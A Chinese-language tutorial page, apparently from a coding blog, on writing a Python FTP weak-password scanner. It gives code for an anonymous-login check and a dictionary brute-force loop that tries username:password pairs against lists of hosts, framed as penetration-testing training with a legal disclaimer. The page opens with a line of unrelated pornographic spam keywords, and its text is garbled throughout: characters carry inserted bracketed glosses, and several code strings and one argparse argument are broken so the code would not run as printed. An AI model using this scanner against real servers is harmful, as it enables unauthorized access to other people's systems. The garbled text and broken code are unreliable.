国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專(zhuān)欄INFORMATION COLUMN

Python 實(shí)現(xiàn) FTP 弱口令掃描器

cocopeak / 2875人閱讀

摘要:一項(xiàng)目說(shuō)明項(xiàng)目簡(jiǎn)介本次實(shí)驗(yàn)通過(guò)使用實(shí)現(xiàn)一個(gè)弱口令掃描器開(kāi)始,入門(mén)滲透測(cè)試技術(shù),實(shí)驗(yàn)涉及協(xié)議原理,庫(kù)的使用等知識(shí)點(diǎn)。找到密碼并不會(huì)終止程序,而是會(huì)繼續(xù)掃描其他主機(jī)的弱口令,直到所有的主機(jī)都掃描一遍。

一、項(xiàng)目說(shuō)明 1.1 項(xiàng)目簡(jiǎn)介

本次實(shí)驗(yàn)通過(guò)使用 Python 實(shí)現(xiàn)一個(gè) FTP 弱口令掃描器開(kāi)始,入門(mén) Python 滲透測(cè)試技術(shù),實(shí)驗(yàn)涉及 FTP 協(xié)議原理,ftplib 庫(kù)的使用等知識(shí)點(diǎn)。

本教程由作者向?qū)嶒?yàn)樓投稿發(fā)布,完整教程及在線練習(xí)地址:Python 實(shí)現(xiàn) FTP 弱口令掃描器

1.2 目標(biāo)學(xué)員

具有Python語(yǔ)言基礎(chǔ),不會(huì)的同學(xué)請(qǐng)到隔壁班先去學(xué)一下

1.3 Python版本

Python3.x

1.4 知識(shí)點(diǎn)

本實(shí)驗(yàn)涉及如下知識(shí)點(diǎn):

認(rèn)識(shí)Ftp服務(wù)器

Ftplib庫(kù)的使用

argparse庫(kù)的使用

Ubuntu下Ftp服務(wù)器的搭建

1.5 效果圖

本節(jié)實(shí)驗(yàn)將實(shí)現(xiàn)如下功能的 FTP 弱口令掃描器:

二、 理論基礎(chǔ)

以下內(nèi)容整理自百度百科,參考鏈接:

百度百科-FTP服務(wù)器

2.1 FTP服務(wù)器

FTP服務(wù)器(File Transfer Protocol Server)是在互聯(lián)網(wǎng)上提供文件存儲(chǔ)和訪問(wèn)服務(wù)的計(jì)算機(jī),它們依照FTP協(xié)議提供服務(wù)。 FTP是File Transfer Protocol(文件傳輸協(xié)議)。顧名思義,就是專(zhuān)門(mén)用來(lái)傳輸文件的協(xié)議。簡(jiǎn)單地說(shuō),支持FTP協(xié)議的服務(wù)器就是FTP服務(wù)器。

FTP是僅基于TCP的服務(wù),不支持UDP。與眾不同的是FTP使用2個(gè)端口,一個(gè)數(shù)據(jù)端口和一個(gè)命令端口(也可叫做控制端口)。通常來(lái)說(shuō)這兩個(gè)端口是21(命令端口)和20(數(shù)據(jù)端口)。但FTP 工作方式的不同,數(shù)據(jù)端口并不總是20。這就是主動(dòng)與被動(dòng)FTP的最大不同之處。主要有兩種工作模式:

主動(dòng)FTP

FTP服務(wù)器的控制端口是21,數(shù)據(jù)端口是20,所以在做靜態(tài)映射的時(shí)候只需要開(kāi)放21端口即可,他會(huì)用20端口和客戶端主動(dòng)的發(fā)起連接。

被動(dòng)FTP

服務(wù)器的控制端口是21,數(shù)據(jù)端口是隨機(jī)的,且是客戶端去連接對(duì)應(yīng)的數(shù)據(jù)端口,所以在做靜態(tài)的映射話只開(kāi)放21端口是不可以的。此時(shí)需要做DMZ。

2.2 Ftp掃描器實(shí)現(xiàn)方案

本課程開(kāi)發(fā)Ftp掃描器主要從以下兩個(gè)方面著手:

掃描匿名Ftp

Ftp匿名登錄的掃描主要應(yīng)用于批量掃描中,多帶帶針對(duì)一個(gè)Ftp服務(wù)器進(jìn)行掃描的話成功幾率比較小,不過(guò)也不排除成功的可能。估計(jì)講到這里的時(shí)候,有的同學(xué)就有疑問(wèn)了!!!現(xiàn)在還有人不設(shè)置密碼嗎?那得傻到啥程度?用東北的話來(lái)說(shuō)那不就是傻狍子嗎!!!(開(kāi)個(gè)玩笑,免得同學(xué)們看我的教程睡著了!)不過(guò)言歸正傳,很多網(wǎng)站都開(kāi)放Ftp服務(wù)方便用戶下載資源(這個(gè)允許匿名登錄不足為奇),更瘋狂的是網(wǎng)站管理人員為了方便網(wǎng)站訪問(wèn)軟件的更新也開(kāi)放了Ftp匿名登錄(估計(jì)不是自己家的網(wǎng)站......)。這樣就給了我們很多機(jī)會(huì),尤其后者的服務(wù)器很容易就受到攻擊,后期我會(huì)講解Ftp目錄下可以搜到web頁(yè)面之后怎樣拿到Shell(大家多多關(guān)注我的教程吧,還有很多精品課程等著你!)。

掃描Ftp弱口令

Ftp弱口令掃描其實(shí)就是暴力破解,為何我們不稱(chēng)為暴力破解呢?因?yàn)槲覀冎皇菕呙枰恍┖?jiǎn)單的密碼組合,并不是所有可能得密碼組合,而且我們也沒(méi)有那么多時(shí)間去暴力破解,誰(shuí)讓我們活不了成千上萬(wàn)年呢!只是一個(gè)密碼而已,弱口令掃不到就算了,天涯何處無(wú)芳草何必單戀一枝花呢!不過(guò)你要非喜歡這個(gè)Ftp服務(wù)器的話,以后我再教大家別的方法滲透服務(wù)器!

三、代碼實(shí)現(xiàn) 3.1 Ftp匿名掃描器的實(shí)現(xiàn)

這里我們要用到Python的ftplib庫(kù)中的Ftp這個(gè)類(lèi),F(xiàn)tp這個(gè)類(lèi)實(shí)現(xiàn)了Ftp客戶端的大多數(shù)功能,比如連接Ftp服務(wù)器、查看服務(wù)器中的文件、上傳、下載文件等功能,詳細(xì)用法可以查看一下文檔,以后碰到問(wèn)題也要養(yǎng)成先看文檔的習(xí)慣!接下來(lái)我們來(lái)定義anonScan(hostname)這個(gè)函數(shù)以實(shí)現(xiàn)掃描可匿名登錄的Ftp服務(wù)器。代碼如下:

#匿名登錄掃描
def anonScan(hostname):                 #參數(shù)是主機(jī)名
    try:
        with FTP(hostname) as ftp:      #創(chuàng)建Ftp對(duì)象
            ftp.login()                 #Ftp匿名登錄
            print("
[*] " + str(hostname) + " FTP Anonymous login successful!") #不拋出異常則表明登錄成功
            return True
    except Exception as e:              #拋出異常則表明匿名登錄失敗
        print("
[-] " + str(hostname) + " FTP Anonymous logon failure!")
        return False

代碼很簡(jiǎn)短,主要在注釋中解釋了代碼的含義。這里說(shuō)一下這個(gè)函數(shù)的思路,首先用主機(jī)名構(gòu)造了一個(gè)Ftp對(duì)象(即ftp),然后用這個(gè)ftp調(diào)用不帶任何參數(shù)的login()函數(shù)即表示要匿名登錄這個(gè)Ftp服務(wù)器,如果登錄過(guò)程中沒(méi)有產(chǎn)生異常,則表明匿名登錄成功,否則匿名登錄失敗!

3.2 Ftp弱口令的掃描

Ftp弱口令的掃描依賴(lài)于用戶名和密碼字典,我們的實(shí)驗(yàn)環(huán)境中會(huì)提供 pwd.txt 作為密碼字典,字典的格式如下圖所示:

接下來(lái)我們針對(duì)字典中的格式來(lái)實(shí)現(xiàn)Ftp弱口令的掃描,代碼如下:

#暴力破解
def vlcLogin(hostname, pwdFile):                #參數(shù)(主機(jī)名,字典文件)
    try:
        with open(pwdFile, "r") as pf:          #打開(kāi)字典文件
            for line in pf.readlines():         #循環(huán)讀取字典文件中的每一行
                time.sleep(1)                   #等待1秒
                userName = line.split(":")[0]   #從讀取的內(nèi)容中取出用戶名
                passWord = line.split(":")[1].strip("
").strip("
") #從讀取的內(nèi)容中取出密碼
                print("[+] Trying: " + userName + ":" + passWord)
                try:
                    with FTP(hostname) as ftp:  #以主機(jī)名為參數(shù)構(gòu)造Ftp對(duì)象
                        ftp.login(userName, passWord)   #使用讀取出的用戶名密碼登錄Ftp服務(wù)器
                        #如果沒(méi)有產(chǎn)生異常則表示登錄成功,打印主機(jī)名、用戶名和密碼
                        print("
[+] " + str(hostname) + " FTP Login successful: "+ 
                              userName + ":" + passWord)
                        return (userName, passWord)
                except Exception as e:
                    # 產(chǎn)生異常表示沒(méi)有登錄成功,這里我們不用管它,繼續(xù)嘗試其他用戶名、密碼
                    pass
    except IOError as e:
        print("Error: the password file does not exist!")
    print("
[-] Cannot crack the FTP password, please change the password dictionary try again!")
    return (None,None)

這段代碼其實(shí)就是循環(huán)從字典中讀取用戶名和密碼并嘗試登陸,登陸成功則表明找到用戶名和密碼。由于這個(gè)函數(shù)將主機(jī)名定義成了可以用“,”分割的字符串。找到密碼并不會(huì)終止程序,而是會(huì)繼續(xù)掃描其他主機(jī)的弱口令,直到所有的主機(jī)都掃描一遍。

3.3 命令行解析

至此我們的Ftp掃描器已經(jīng)幾乎完成了,代碼并不多,也很簡(jiǎn)單。現(xiàn)在我們需要做的是讓我們的腳本可以處理命令行輸入,以控制掃描哪些主機(jī)。處理命令行參數(shù)我們將用到Python中的argparse庫(kù),這個(gè)庫(kù)是Python中自帶的模塊,處理命令行將變得非常簡(jiǎn)單,下面我們一起見(jiàn)證一下argparse的強(qiáng)大之處,先上代碼:

# 這里用描述創(chuàng)建了ArgumentParser對(duì)象
    parser = argparse.ArgumentParser(description = "FTP Scanner")
    # 添加-H命令dest可以理解為咱們解析時(shí)獲取-H參數(shù)后面值的變量名,help是這個(gè)命令的幫助信息
    parser.add_argument("-H",dest="hostName",help="The host list with ","space")
    parser.add_argument("-f",dest="pwdFile",help="Password dictionary file")
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(["-h"]))
        exit(0)
    hostNames = str(options.hostName).split(",")
    pwdFile = options.pwdFile

通過(guò)argparse庫(kù)來(lái)解析命令行參數(shù),可以根據(jù)添加參數(shù)時(shí)指定的help關(guān)鍵字的內(nèi)容來(lái)自動(dòng)生成幫助文檔。具體效果如下圖所示:

在處理復(fù)雜命令的時(shí)候argparse的強(qiáng)大就更明顯了,由于這個(gè)屬于Python基礎(chǔ),所以Python庫(kù)中自帶的庫(kù)這里我就不做過(guò)多的介紹了。

四、實(shí)驗(yàn)環(huán)境搭建測(cè)試

本項(xiàng)目完整代碼和環(huán)境搭建、測(cè)試,可在實(shí)驗(yàn)樓中查看并在線完成。

五、總結(jié)

本次項(xiàng)目實(shí)現(xiàn)了Ftp弱口令掃描器,主要用到以下知識(shí)點(diǎn):

Ftp服務(wù)器的基本概念

使用ftplib如何一步一步的實(shí)現(xiàn)Ftp弱口令掃描器

使用argparse解析命令行參數(shù)

實(shí)驗(yàn)環(huán)境的搭建方法

六、參考文獻(xiàn)

《Python絕技--運(yùn)用Python成為頂級(jí)黑客》

《Python黑帽子-- 黑客與滲透測(cè)試編程之道 》

:本系列項(xiàng)目教學(xué)思路,參考自《Python絕技--運(yùn)用Python成為頂級(jí)黑客》,書(shū)中代碼和教學(xué)思路只做參考,本系列教程全部重新設(shè)計(jì)并基于Python3.x重寫(xiě)。本系列課程旨在教大家滲透測(cè)試,維護(hù)網(wǎng)絡(luò)安全,如用于非法目的,自行承擔(dān)法律責(zé)任!

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/38107.html

相關(guān)文章

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<